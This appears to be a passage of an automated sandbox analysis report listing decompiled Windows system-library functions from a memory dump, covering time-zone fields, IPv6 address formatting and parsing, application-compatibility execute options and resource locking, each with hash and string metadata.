0x009f83d4
0x009f83d9
0x009f83d9
0x009f8277
0x009f824d
0x009f824d
0x009f824d
0x009f824d
0x009f83df

APIs

_wcsnlen.LIBCMT ref: 009F8240
_wcsnlen.LIBCMT ref: 009F825C

Strings

StandardStart, xrefs: 009F82E5
DaylightStart, xrefs: 009F8341
StandardBias, xrefs: 009F82C7
TimeZoneKeyName, xrefs: 009F836A, 009F839B
DynamicDaylightTimeDisabled, xrefs: 009F83C1
DaylightName, xrefs: 009F8309
StandardName, xrefs: 009F82A8
Bias, xrefs: 009F8282
DaylightBias, xrefs: 009F8324

Memory Dump Source

Source File: 00000007.00000002.2375730138.0000000000950000.00000040.00000001.sdmp, Offset: 00940000, based on PE: true

Associated: 00000007.00000002.2375724496.0000000000940000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375819909.0000000000A30000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375823615.0000000000A40000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375827460.0000000000A44000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375830935.0000000000A47000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375834282.0000000000A50000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375868044.0000000000AB0000.00000040.00000001.sdmp Download File

Similarity

API ID: _wcsnlen
String ID: Bias$DaylightBias$DaylightName$DaylightStart$DynamicDaylightTimeDisabled$StandardBias$StandardName$StandardStart$TimeZoneKeyName
API String ID: 3628947076-1387797911
Opcode ID: 8e9c88890228433f81bc3a068b258f14d4438cdec781e6b2f7487dd1b19265b6
Instruction ID: 799c5b744a2aaa5ae52b7fad17fc1a166522e490108acd10c830239fc11ddfe8
Opcode Fuzzy Hash: 8e9c88890228433f81bc3a068b258f14d4438cdec781e6b2f7487dd1b19265b6
Instruction Fuzzy Hash: BA41A57634420DBAEB419AE0CD42FEFB76C9F84B94F104212BB04DA191DBB0DA5597A4

Uniqueness

Uniqueness Score: -1.00%

Function 009A13CB, Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E009A13CB(intOrPtr* _a4, intOrPtr _a8) {
				char _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _t71;
				signed int _t78;
				signed int _t86;
				char _t90;
				signed int _t91;
				signed int _t96;
				intOrPtr _t108;
				signed int _t114;
				void* _t115;
				intOrPtr _t128;
				intOrPtr* _t129;
				void* _t130;

				_t129 = _a4;
				_t128 = _a8;
				_t116 = 0;
				_t71 = _t128 + 0x5c;
				_v8 = 8;
				_v20 = _t71;
				if( *_t129 == 0) {
					if( *((intOrPtr*)(_t129 + 2)) != 0 ||  *((intOrPtr*)(_t129 + 4)) != 0 ||  *((intOrPtr*)(_t129 + 6)) != 0 ||  *(_t129 + 0xc) == 0) {
						goto L5;
					} else {
						_t96 =  *(_t129 + 8) & 0x0000ffff;
						if(_t96 != 0) {
							L38:
							if(_t96 != 0xffff ||  *(_t129 + 0xa) != _t116) {
								goto L5;
							} else {
								_push( *(_t129 + 0xf) & 0x000000ff);
								_push( *(_t129 + 0xe) & 0x000000ff);
								_push( *(_t129 + 0xd) & 0x000000ff);
								_t86 = E00997707(_t128, _t71 - _t128 >> 1, L"::ffff:0:%u.%u.%u.%u",  *(_t129 + 0xc) & 0x000000ff);
								L36:
								return _t128 + _t86 * 2;
							}
						}
						_t114 =  *(_t129 + 0xa) & 0x0000ffff;
						if(_t114 == 0) {
							L33:
							_t115 = 0x962926;
							L35:
							_push( *(_t129 + 0xf) & 0x000000ff);
							_push( *(_t129 + 0xe) & 0x000000ff);
							_push( *(_t129 + 0xd) & 0x000000ff);
							_push( *(_t129 + 0xc) & 0x000000ff);
							_t86 = E00997707(_t128, _t71 - _t128 >> 1, L"::%hs%u.%u.%u.%u", _t115);
							goto L36;
						}
						if(_t114 != 0xffff) {
							_t116 = 0;
							goto L38;
						}
						if(_t114 != 0) {
							_t115 = 0x969cac;
							goto L35;
						}
						goto L33;
					}
				} else {
					L5:
					_a8 = _t116;
					_a4 = _t116;
					_v12 = _t116;
					if(( *(_t129 + 8) & 0x0000fffd) == 0) {
						if( *(_t129 + 0xa) == 0xfe5e) {
							_v8 = 6;
						}
					}
					_t90 = _v8;
					if(_t90 <= _t116) {
						L11:
						if(_a8 - _a4 <= 1) {
							_a8 = _t116;
							_a4 = _t116;
						}
						_t91 = 0;
						if(_v8 <= _t116) {
							L22:
							if(_v8 < 8) {
								_push( *(_t129 + 0xf) & 0x000000ff);
								_push( *(_t129 + 0xe) & 0x000000ff);
								_push( *(_t129 + 0xd) & 0x000000ff);
								_t128 = _t128 + E00997707(_t128, _t71 - _t128 >> 1, L":%u.%u.%u.%u",  *(_t129 + 0xc) & 0x000000ff) * 2;
							}
							return _t128;
						} else {
							L14:
							L14:
							if(_a4 > _t91 || _t91 >= _a8) {
								if(_t91 != _t116 && _t91 != _a8) {
									_push(":");
									_push(_t71 - _t128 >> 1);
									_push(_t128);
									_t128 = _t128 + E00997707() * 2;
									_t71 = _v20;
									_t130 = _t130 + 0xc;
								}
								_t78 = E00997707(_t128, _t71 - _t128 >> 1, L"%x",  *(_t129 + _t91 * 2) & 0x0000ffff);
								_t130 = _t130 + 0x10;
							} else {
								_push(L"::");
								_push(_t71 - _t128 >> 1);
								_push(_t128);
								_t78 = E00997707();
								_t130 = _t130 + 0xc;
								_t91 = _a8 - 1;
							}
							_t91 = _t91 + 1;
							_t128 = _t128 + _t78 * 2;
							_t71 = _v20;
							if(_t91 >= _v8) {
								goto L22;
							}
							_t116 = 0;
							goto L14;
						}
					} else {
						_t108 = 1;
						_v16 = _t129;
						_v24 = _t90;
						do {
							if( *_v16 == _t116) {
								if(_t108 - _v12 > _a8 - _a4) {
									_a4 = _v12;
									_a8 = _t108;
								}
								_t116 = 0;
							} else {
								_v12 = _t108;
							}
							_v16 = _v16 + 2;
							_t108 = _t108 + 1;
							_t26 =  &_v24;
							 *_t26 = _v24 - 1;
						} while ( *_t26 != 0);
						goto L11;
					}
				}
			}

0x009a13d5
0x009a13d9
0x009a13dc
0x009a13de
0x009a13e1
0x009a13e8
0x009a13ee
0x009ce8fd
0x00000000
0x009ce921
0x009ce921
0x009ce928
0x009ce982
0x009ce98a
0x00000000
0x009ce99a
0x009ce99e
0x009ce9a3
0x009ce9a8
0x009ce9b9
0x009ce978
0x00000000
0x009ce978
0x009ce98a
0x009ce92a
0x009ce931
0x009ce944
0x009ce944
0x009ce950
0x009ce954
0x009ce959
0x009ce95e
0x009ce963
0x009ce970
0x00000000
0x009ce975
0x009ce93b
0x009ce980
0x00000000
0x009ce980
0x009ce942
0x009ce94b
0x00000000
0x009ce94b
0x00000000
0x009ce942
0x009a13f4
0x009a13f4
0x009a13f9
0x009a13fc
0x009a13ff
0x009a1406
0x009ce9cc
0x009ce9d2
0x009ce9d2
0x009ce9cc
0x009a140c
0x009a1411
0x009a1431
0x009a143a
0x009a143c
0x009a143f
0x009a143f
0x009a1442
0x009a1447
0x009a14a8
0x009a14ac
0x009ce9e2
0x009ce9e7
0x009ce9ec
0x009cea05
0x009cea05
0x00000000
0x009a1449
0x00000000
0x009a1449
0x009a144c
0x009a1459
0x009a1462
0x009a1469
0x009a146a
0x009a1470
0x009a1473
0x009a1476
0x009a1476
0x009a1490
0x009a1495
0x009a138e
0x009a1390
0x009a1397
0x009a1398
0x009a1399
0x009a13a1
0x009a13a4
0x009a13a4
0x009a1498
0x009a149c
0x009a149f
0x009a14a2
0x00000000
0x00000000
0x009a14a4
0x00000000
0x009a14a4
0x009a1413
0x009a1415
0x009a1416
0x009a1419
0x009a141c
0x009a1422
0x009a13b7
0x009a13bc
0x009a13bf
0x009a13bf
0x009a13c2
0x009a1424
0x009a1424
0x009a1424
0x009a1427
0x009a142b
0x009a142c
0x009a142c
0x009a142c
0x00000000
0x009a141c
0x009a1411

APIs

___swprintf_l.LIBCMT ref: 009A146B
___swprintf_l.LIBCMT ref: 009A1490
___swprintf_l.LIBCMT ref: 009CE970

Strings

::%hs%u.%u.%u.%u, xrefs: 009CE967
::ffff:0:%u.%u.%u.%u, xrefs: 009CE9B0
:%u.%u.%u.%u, xrefs: 009CE9F4
ffff:, xrefs: 009CE94B

Memory Dump Source

Source File: 00000007.00000002.2375730138.0000000000950000.00000040.00000001.sdmp, Offset: 00940000, based on PE: true

Associated: 00000007.00000002.2375724496.0000000000940000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375819909.0000000000A30000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375823615.0000000000A40000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375827460.0000000000A44000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375830935.0000000000A47000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375834282.0000000000A50000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375868044.0000000000AB0000.00000040.00000001.sdmp Download File

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: 7799e3756c3b78c5b80334204a5b6031cd27e8b091e70b2c1ba46d889a844bed
Instruction ID: d879e83517b3f3d126c6df0bbfd8705b8ffc1b0881864d2359acf6bd7a1ac842
Opcode Fuzzy Hash: 7799e3756c3b78c5b80334204a5b6031cd27e8b091e70b2c1ba46d889a844bed
Instruction Fuzzy Hash: 076103B1D04655AACF24CF9DC8908BEBBF9EFDA300B14C52DF4DA47581D634AA40CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00997EFD, Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00997EFD(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				char _v540;
				unsigned int _v544;
				signed int _v548;
				intOrPtr _v552;
				char _v556;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t33;
				void* _t38;
				unsigned int _t46;
				unsigned int _t47;
				unsigned int _t52;
				intOrPtr _t56;
				unsigned int _t62;
				void* _t69;
				void* _t70;
				intOrPtr _t72;
				signed int _t73;
				void* _t74;
				void* _t75;
				void* _t76;
				void* _t77;

				_t33 =  *0xa42088; // 0x77687fe7
				_v8 = _t33 ^ _t73;
				_v548 = _v548 & 0x00000000;
				_t72 = _a4;
				if(E00997F4F(__ecx, _t72 + 0x2c,  &_v548) >= 0) {
					__eflags = _v548;
					if(_v548 == 0) {
						goto L1;
					}
					_t62 = _t72 + 0x24;
					E009B3F92(0x55, 3, "CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions\n", _v548);
					_t71 = 0x214;
					_v544 = 0x214;
					E0096DFC0( &_v540, 0, 0x214);
					_t75 = _t74 + 0x20;
					_t46 =  *0xa44218( *((intOrPtr*)(_t72 + 0x28)),  *((intOrPtr*)(_t72 + 0x18)),  *((intOrPtr*)(_t72 + 0x20)), L"ExecuteOptions",  &_v556,  &_v540,  &_v544, _t62);
					__eflags = _t46;
					if(_t46 == 0) {
						goto L1;
					}
					_t47 = _v544;
					__eflags = _t47;
					if(_t47 == 0) {
						goto L1;
					}
					__eflags = _t47 - 0x214;
					if(_t47 >= 0x214) {
						goto L1;
					}
					_push(_t62);
					 *((short*)(_t73 + (_t47 >> 1) * 2 - 0x21a)) = 0;
					E009B3F92(0x55, 3, "CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database\n",  &_v540);
					_t52 = E00970D27( &_v540, L"Execute=1");
					_t76 = _t75 + 0x1c;
					_push(_t62);
					__eflags = _t52;
					if(_t52 == 0) {
						E009B3F92(0x55, 3, "CLIENT(ntdll): Processing %ws for patching section protection for %wZ\n",  &_v540);
						_t71 =  &_v540;
						_t56 = _t73 + _v544 - 0x218;
						_t77 = _t76 + 0x14;
						_v552 = _t56;
						__eflags = _t71 - _t56;
						if(_t71 >= _t56) {
							goto L1;
						} else {
							goto L10;
						}
						while(1) {
							L10:
							_t62 = E00978375(_t71, 0x20);
							_pop(_t69);
							__eflags = _t62;
							if(__eflags != 0) {
								__eflags = 0;
								 *_t62 = 0;
							}
							E009B3F92(0x55, 3, "CLIENT(ntdll): Processing section info %ws...\n", _t71);
							_t77 = _t77 + 0x10;
							E009DE8DB(_t69, _t70, __eflags, _t72, _t71);
							__eflags = _t62;
							if(_t62 == 0) {
								goto L1;
							}
							_t31 = _t62 + 2; // 0x2
							_t71 = _t31;
							__eflags = _t71 - _v552;
							if(_t71 >= _v552) {
								goto L1;
							}
						}
					}
					_push("CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ\n");
					_push(3);
					_push(0x55);
					E009B3F92();
					_t38 = 1;
					L2:
					return E0096E1B4(_t38, _t62, _v8 ^ _t73, _t70, _t71, _t72);
				}
				L1:
				_t38 = 0;
				goto L2;
			}

0x00997f08
0x00997f0f
0x00997f12
0x00997f1b
0x00997f31
0x009b3ead
0x009b3eb4
0x00000000
0x00000000
0x009b3eba
0x009b3ecd
0x009b3ed2
0x009b3ee1
0x009b3ee7
0x009b3eec
0x009b3f12
0x009b3f18
0x009b3f1a
0x00000000
0x00000000
0x009b3f20
0x009b3f26
0x009b3f28
0x00000000
0x00000000
0x009b3f2e
0x009b3f30
0x00000000
0x00000000
0x009b3f3a
0x009b3f3b
0x009b3f53
0x009b3f64
0x009b3f69
0x009b3f6c
0x009b3f6d
0x009b3f6f
0x009be304
0x009be30f
0x009be315
0x009be31e
0x009be321
0x009be327
0x009be329
0x00000000
0x00000000
0x00000000
0x00000000
0x009be32f
0x009be32f
0x009be337
0x009be33a
0x009be33b
0x009be33d
0x009be33f
0x009be341
0x009be341
0x009be34e
0x009be353
0x009be358
0x009be35d
0x009be35f
0x00000000
0x00000000
0x009be365
0x009be365
0x009be368
0x009be36e
0x00000000
0x00000000
0x009be374
0x009be32f
0x009b3f75
0x009b3f7a
0x009b3f7c
0x009b3f7e
0x009b3f86
0x00997f39
0x00997f47
0x00997f47
0x00997f37
0x00997f37
0x00000000

APIs

BaseQueryModuleData.KERNEL32(?,00000000,00000000,ExecuteOptions,?,?,?), ref: 009B3F12

Strings

CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 009B3F4A
CLIENT(ntdll): Processing section info %ws..., xrefs: 009BE345
Execute=1, xrefs: 009B3F5E
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 009B3F75
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 009BE2FB
ExecuteOptions, xrefs: 009B3F04
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 009B3EC4

Memory Dump Source

Source File: 00000007.00000002.2375730138.0000000000950000.00000040.00000001.sdmp, Offset: 00940000, based on PE: true

Associated: 00000007.00000002.2375724496.0000000000940000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375819909.0000000000A30000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375823615.0000000000A40000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375827460.0000000000A44000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375830935.0000000000A47000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375834282.0000000000A50000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375868044.0000000000AB0000.00000040.00000001.sdmp Download File

Similarity

API ID: BaseDataModuleQuery
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 3901378454-484625025
Opcode ID: db32db6baede02c2e565a3b8b459afd0a2d5d78389a53bc95882657aca4a6fb7
Instruction ID: 7a69b355055750f92f70f5466f43de415494cd57ffab34227f6691891217434f
Opcode Fuzzy Hash: db32db6baede02c2e565a3b8b459afd0a2d5d78389a53bc95882657aca4a6fb7
Instruction Fuzzy Hash: A341D971A8060D7ADF20DB94DCCAFEAB3BCAB94714F0005A9B105F6081EA70EB458F71

Uniqueness

Uniqueness Score: -1.00%

Function 009A0B15, Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 272
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E009A0B15(intOrPtr* _a4, char _a7, intOrPtr* _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				void* _t108;
				void* _t116;
				char _t120;
				short _t121;
				void* _t128;
				intOrPtr* _t130;
				char _t132;
				short _t133;
				intOrPtr _t141;
				signed int _t156;
				signed int _t174;
				intOrPtr _t177;
				intOrPtr* _t179;
				intOrPtr _t180;
				void* _t183;

				_t179 = _a4;
				_t141 =  *_t179;
				_v16 = 0;
				_v28 = 0;
				_v8 = 0;
				_v24 = 0;
				_v12 = 0;
				_v32 = 0;
				_v20 = 0;
				if(_t141 == 0) {
					L41:
					 *_a8 = _t179;
					_t180 = _v24;
					if(_t180 != 0) {
						if(_t180 != 3) {
							goto L6;
						}
						_v8 = _v8 + 1;
					}
					_t174 = _v32;
					if(_t174 == 0) {
						if(_v8 == 7) {
							goto L43;
						}
						goto L6;
					}
					L43:
					if(_v16 != 1) {
						if(_v16 != 2) {
							goto L6;
						}
						 *((short*)(_a12 + _v20 * 2)) = 0;
						L47:
						if(_t174 != 0) {
							E00978980(_a12 + 0x10 + (_t174 - _v8) * 2, _a12 + _t174 * 2, _v8 - _t174 + _v8 - _t174);
							_t116 = 8;
							E0096DFC0(_a12 + _t174 * 2, 0, _t116 - _v8 + _t116 - _v8);
						}
						return 0;
					}
					if(_t180 != 0) {
						if(_v12 > 3) {
							goto L6;
						}
						_t120 = E009A0CFA(_v28, 0, 0xa);
						_t183 = _t183 + 0xc;
						if(_t120 > 0xff) {
							goto L6;
						}
						 *((char*)(_t180 + _v20 * 2 + _a12)) = _t120;
						goto L47;
					}
					if(_v12 > 4) {
						goto L6;
					}
					_t121 = E009A0CFA(_v28, _t180, 0x10);
					_t183 = _t183 + 0xc;
					 *((short*)(_a12 + _v20 * 2)) = _t121;
					goto L47;
				} else {
					while(1) {
						_t123 = _v16;
						if(_t123 == 0) {
							goto L7;
						}
						_t108 = _t123 - 1;
						if(_t108 != 0) {
							goto L1;
						}
						_t178 = _t141;
						if(E009A06BA(_t108, _t141) == 0 || _t135 == 0) {
							if(E009A06BA(_t135, _t178) == 0 || E009A0A5B(_t136, _t178) == 0) {
								if(_t141 != 0x3a) {
									if(_t141 == 0x2e) {
										if(_a7 != 0 || _v24 > 2 || _v8 > 6) {
											goto L41;
										} else {
											_v24 = _v24 + 1;
											L27:
											_v16 = _v16 & 0x00000000;
											L28:
											if(_v28 == 0) {
												goto L20;
											}
											_t177 = _v24;
											if(_t177 != 0) {
												if(_v12 > 3) {
													L6:
													return 0xc000000d;
												}
												_t132 = E009A0CFA(_v28, 0, 0xa);
												_t183 = _t183 + 0xc;
												if(_t132 > 0xff) {
													goto L6;
												}
												 *((char*)(_t177 + _v20 * 2 + _a12 - 1)) = _t132;
												goto L20;
											}
											if(_v12 > 4) {
												goto L6;
											}
											_t133 = E009A0CFA(_v28, 0, 0x10);
											_t183 = _t183 + 0xc;
											_v20 = _v20 + 1;
											 *((short*)(_a12 + _v20 * 2)) = _t133;
											goto L20;
										}
									}
									goto L41;
								}
								if(_v24 > 0 || _v8 > 6) {
									goto L41;
								} else {
									_t130 = _t179 + 1;
									if( *_t130 == _t141) {
										if(_v32 != 0) {
											goto L41;
										}
										_v32 = _v8 + 1;
										_t156 = 2;
										_v8 = _v8 + _t156;
										L34:
										_t179 = _t130;
										_v16 = _t156;
										goto L28;
									}
									_v8 = _v8 + 1;
									goto L27;
								}
							} else {
								_v12 = _v12 + 1;
								if(_v24 > 0) {
									goto L41;
								}
								_a7 = 1;
								goto L20;
							}
						} else {
							_v12 = _v12 + 1;
							L20:
							_t179 = _t179 + 1;
							_t141 =  *_t179;
							if(_t141 == 0) {
								goto L41;
							}
							continue;
						}
						L7:
						if(_t141 == 0x3a) {
							if(_v24 > 0 || _v8 > 0) {
								goto L41;
							} else {
								_t130 = _t179 + 1;
								if( *_t130 != _t141) {
									goto L41;
								}
								_v20 = _v20 + 1;
								_t156 = 2;
								_v32 = 1;
								_v8 = _t156;
								 *((short*)(_a12 + _v20 * 2)) = 0;
								goto L34;
							}
						}
						L8:
						if(_v8 > 7) {
							goto L41;
						}
						_t142 = _t141;
						if(E009A06BA(_t123, _t141) == 0 || _t124 == 0) {
							if(E009A06BA(_t124, _t142) == 0 || E009A0A5B(_t125, _t142) == 0 || _v24 > 0) {
								goto L41;
							} else {
								_t128 = 1;
								_a7 = 1;
								_v28 = _t179;
								_v16 = 1;
								_v12 = 1;
								L39:
								if(_v16 == _t128) {
									goto L20;
								}
								goto L28;
							}
						} else {
							_a7 = 0;
							_v28 = _t179;
							_v16 = 1;
							_v12 = 1;
							goto L20;
						}
					}
				}
				L1:
				_t123 = _t108 == 1;
				if(_t108 == 1) {
					goto L8;
				}
				_t128 = 1;
				goto L39;
			}

0x009a0b21
0x009a0b24
0x009a0b27
0x009a0b2a
0x009a0b2d
0x009a0b30
0x009a0b33
0x009a0b36
0x009a0b39
0x009a0b3e
0x009a0c65
0x009a0c68
0x009a0c6a
0x009a0c6f
0x009ceb42
0x00000000
0x00000000
0x009ceb48
0x009ceb48
0x009a0c75
0x009a0c7a
0x009ceb54
0x00000000
0x00000000
0x00000000
0x009ceb5a
0x009a0c80
0x009a0c84
0x009ceb98
0x00000000
0x00000000
0x009ceba6
0x009a0cb8
0x009a0cba
0x009a0cd3
0x009a0cda
0x009a0ce4
0x009a0ce9
0x00000000
0x009a0cec
0x009a0c8c
0x009ceb63
0x00000000
0x00000000
0x009ceb70
0x009ceb75
0x009ceb7d
0x00000000
0x00000000
0x009ceb8c
0x00000000
0x009ceb8c
0x009a0c96
0x00000000
0x00000000
0x009a0ca2
0x009a0cac
0x009a0cb4
0x00000000
0x00000000
0x009a0b44
0x009a0b47
0x009a0b49
0x00000000
0x00000000
0x009a0b4f
0x009a0b50
0x00000000
0x00000000
0x009a0b56
0x009a0b62
0x009a0b7c
0x009a0bac
0x009a0a0f
0x009ceaaa
0x00000000
0x009ceac4
0x009ceac4
0x009a0bd0
0x009a0bd0
0x009a0bd4
0x009a0bd9
0x00000000
0x00000000
0x009a0bdb
0x009a0be0
0x009ceb0e
0x009a0a1a
0x00000000
0x009a0a1a
0x009ceb1a
0x009ceb1f
0x009ceb27
0x00000000
0x00000000
0x009ceb36
0x00000000
0x009ceb36
0x009a0bea
0x00000000
0x00000000
0x009a0bf6
0x009a0c00
0x009a0c03
0x009a0c0b
0x00000000
0x009a0c0b
0x009ceaaa
0x00000000
0x009a0a15
0x009a0bb6
0x00000000
0x009a0bc6
0x009a0bc6
0x009a0bcb
0x009a0c15
0x00000000
0x00000000
0x009a0c1d
0x009a0c20
0x009a0c21
0x009a0c24
0x009a0c24
0x009a0c26
0x00000000
0x009a0c26
0x009a0bcd
0x00000000
0x009a0bcd
0x009a0b89
0x009a0b89
0x009a0b90
0x00000000
0x00000000
0x009a0b96
0x00000000
0x009a0b96
0x009a0a04
0x009a0a04
0x009a0b9a
0x009a0b9a
0x009a0b9b
0x009a0b9f
0x00000000
0x00000000
0x00000000
0x009a0ba5
0x009a0ac7
0x009a0aca
0x009ceacf
0x00000000
0x009ceade
0x009ceade
0x009ceae3
0x00000000
0x00000000
0x009ceaf3
0x009ceaf6
0x009ceaf7
0x009ceafe
0x009ceb01
0x00000000
0x009ceb01
0x009ceacf
0x009a0ad0
0x009a0ad4
0x00000000
0x00000000
0x009a0ada
0x009a0ae6
0x009a0c34
0x00000000
0x009a0c47
0x009a0c49
0x009a0c4a
0x009a0c4e
0x009a0c51
0x009a0c54
0x009a0c57
0x009a0c5a
0x00000000
0x00000000
0x00000000
0x009a0c60
0x009a0afb
0x009a0afe
0x009a0b02
0x009a0b05
0x009a0b08
0x00000000
0x009a0b08
0x009a0ae6
0x009a0b44
0x009a09f8
0x009a09f8
0x009a09f9
0x00000000
0x00000000
0x009ceaa0
0x00000000

APIs

__fassign.LIBCMT ref: 009A0BF6
__fassign.LIBCMT ref: 009A0CA2

Strings

., xrefs: 009A0A0C
:, xrefs: 009A0AC7
:, xrefs: 009A0BA9

Memory Dump Source

Source File: 00000007.00000002.2375730138.0000000000950000.00000040.00000001.sdmp, Offset: 00940000, based on PE: true

Associated: 00000007.00000002.2375724496.0000000000940000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375819909.0000000000A30000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375823615.0000000000A40000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375827460.0000000000A44000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375830935.0000000000A47000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375834282.0000000000A50000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375868044.0000000000AB0000.00000040.00000001.sdmp Download File

Similarity

API ID: __fassign
String ID: .$:$:
API String ID: 3965848254-2308638275
Opcode ID: b15de34944a390e3fa5e98378680e2de18144008d38fd4e6897fe19ea25b26ab
Instruction ID: 19c1ec905c210dba7371f8f66241b5c283b271470cc11a27a5b371000b011617
Opcode Fuzzy Hash: b15de34944a390e3fa5e98378680e2de18144008d38fd4e6897fe19ea25b26ab
Instruction Fuzzy Hash: 17A19E71D0030AEFDF24CF64C8457BEB7B8AF96314F24856AD892A7282D7349A41CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 009A0554, Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 202
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E009A0554(signed int _a4, char _a8) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int* _t49;
				signed int _t51;
				signed int _t56;
				signed int _t58;
				signed int _t61;
				signed int _t63;
				void* _t66;
				intOrPtr _t67;
				void* _t69;
				signed int _t70;
				void* _t75;
				signed int _t81;
				signed int _t84;
				void* _t86;
				signed int _t93;
				signed int _t96;
				intOrPtr _t105;
				signed int _t107;
				void* _t110;
				signed int _t115;
				signed int* _t119;
				void* _t125;
				void* _t126;
				signed int _t128;
				signed int _t130;
				signed int _t138;
				signed int _t144;
				void* _t158;
				void* _t159;
				void* _t160;

				_t96 = _a4;
				_t115 =  *(_t96 + 0x28);
				_push(_t138);
				if(_t115 < 0) {
					_t105 =  *[fs:0x18];
					__eflags =  *((intOrPtr*)(_t96 + 0x2c)) -  *((intOrPtr*)(_t105 + 0x24));
					if( *((intOrPtr*)(_t96 + 0x2c)) !=  *((intOrPtr*)(_t105 + 0x24))) {
						goto L6;
					} else {
						__eflags = _t115 | 0xffffffff;
						asm("lock xadd [eax], edx");
						return 1;
					}
				} else {
					L6:
					_push(_t128);
					while(1) {
						L7:
						__eflags = _t115;
						if(_t115 >= 0) {
							break;
						}
						__eflags = _a8;
						if(_a8 == 0) {
							__eflags = 0;
							return 0;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) =  *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) + 1;
							_t49 = _t96 + 0x1c;
							_t106 = 1;
							asm("lock xadd [edx], ecx");
							_t115 =  *(_t96 + 0x28);
							__eflags = _t115;
							if(_t115 < 0) {
								L23:
								_t130 = 0;
								__eflags = 0;
								while(1) {
									_t118 =  *(_t96 + 0x30) & 0x00000001;
									asm("sbb esi, esi");
									_t144 =  !( ~( *(_t96 + 0x30) & 1)) & 0x00a401c0;
									_push(_t144);
									_push(0);
									_t51 = E0095F8CC( *((intOrPtr*)(_t96 + 0x18)));
									__eflags = _t51 - 0x102;
									if(_t51 != 0x102) {
										break;
									}
									_t106 =  *(_t144 + 4);
									_t126 =  *_t144;
									_t86 = E009A4FC0(_t126,  *(_t144 + 4), 0xff676980, 0xffffffff);
									_push(_t126);
									_push(_t86);
									E009B3F92(0x65, 0, "RTL: Acquire Shared Sem Timeout %d(%I64u secs)\n", _t130);
									E009B3F92(0x65, 0, "RTL: Resource at %p\n", _t96);
									_t130 = _t130 + 1;
									_t160 = _t158 + 0x28;
									__eflags = _t130 - 2;
									if(__eflags > 0) {
										E009E217A(_t106, __eflags, _t96);
									}
									_push("RTL: Re-Waiting\n");
									_push(0);
									_push(0x65);
									E009B3F92();
									_t158 = _t160 + 0xc;
								}
								__eflags = _t51;
								if(__eflags < 0) {
									_push(_t51);
									E009A3915(_t96, _t106, _t118, _t130, _t144, __eflags);
									asm("int3");
									while(1) {
										L32:
										__eflags = _a8;
										if(_a8 == 0) {
											break;
										}
										 *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) =  *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) + 1;
										_t119 = _t96 + 0x24;
										_t107 = 1;
										asm("lock xadd [eax], ecx");
										_t56 =  *(_t96 + 0x28);
										_a4 = _t56;
										__eflags = _t56;
										if(_t56 != 0) {
											L40:
											_t128 = 0;
											__eflags = 0;
											while(1) {
												_t121 =  *(_t96 + 0x30) & 0x00000001;
												asm("sbb esi, esi");
												_t138 =  !( ~( *(_t96 + 0x30) & 1)) & 0x00a401c0;
												_push(_t138);
												_push(0);
												_t58 = E0095F8CC( *((intOrPtr*)(_t96 + 0x20)));
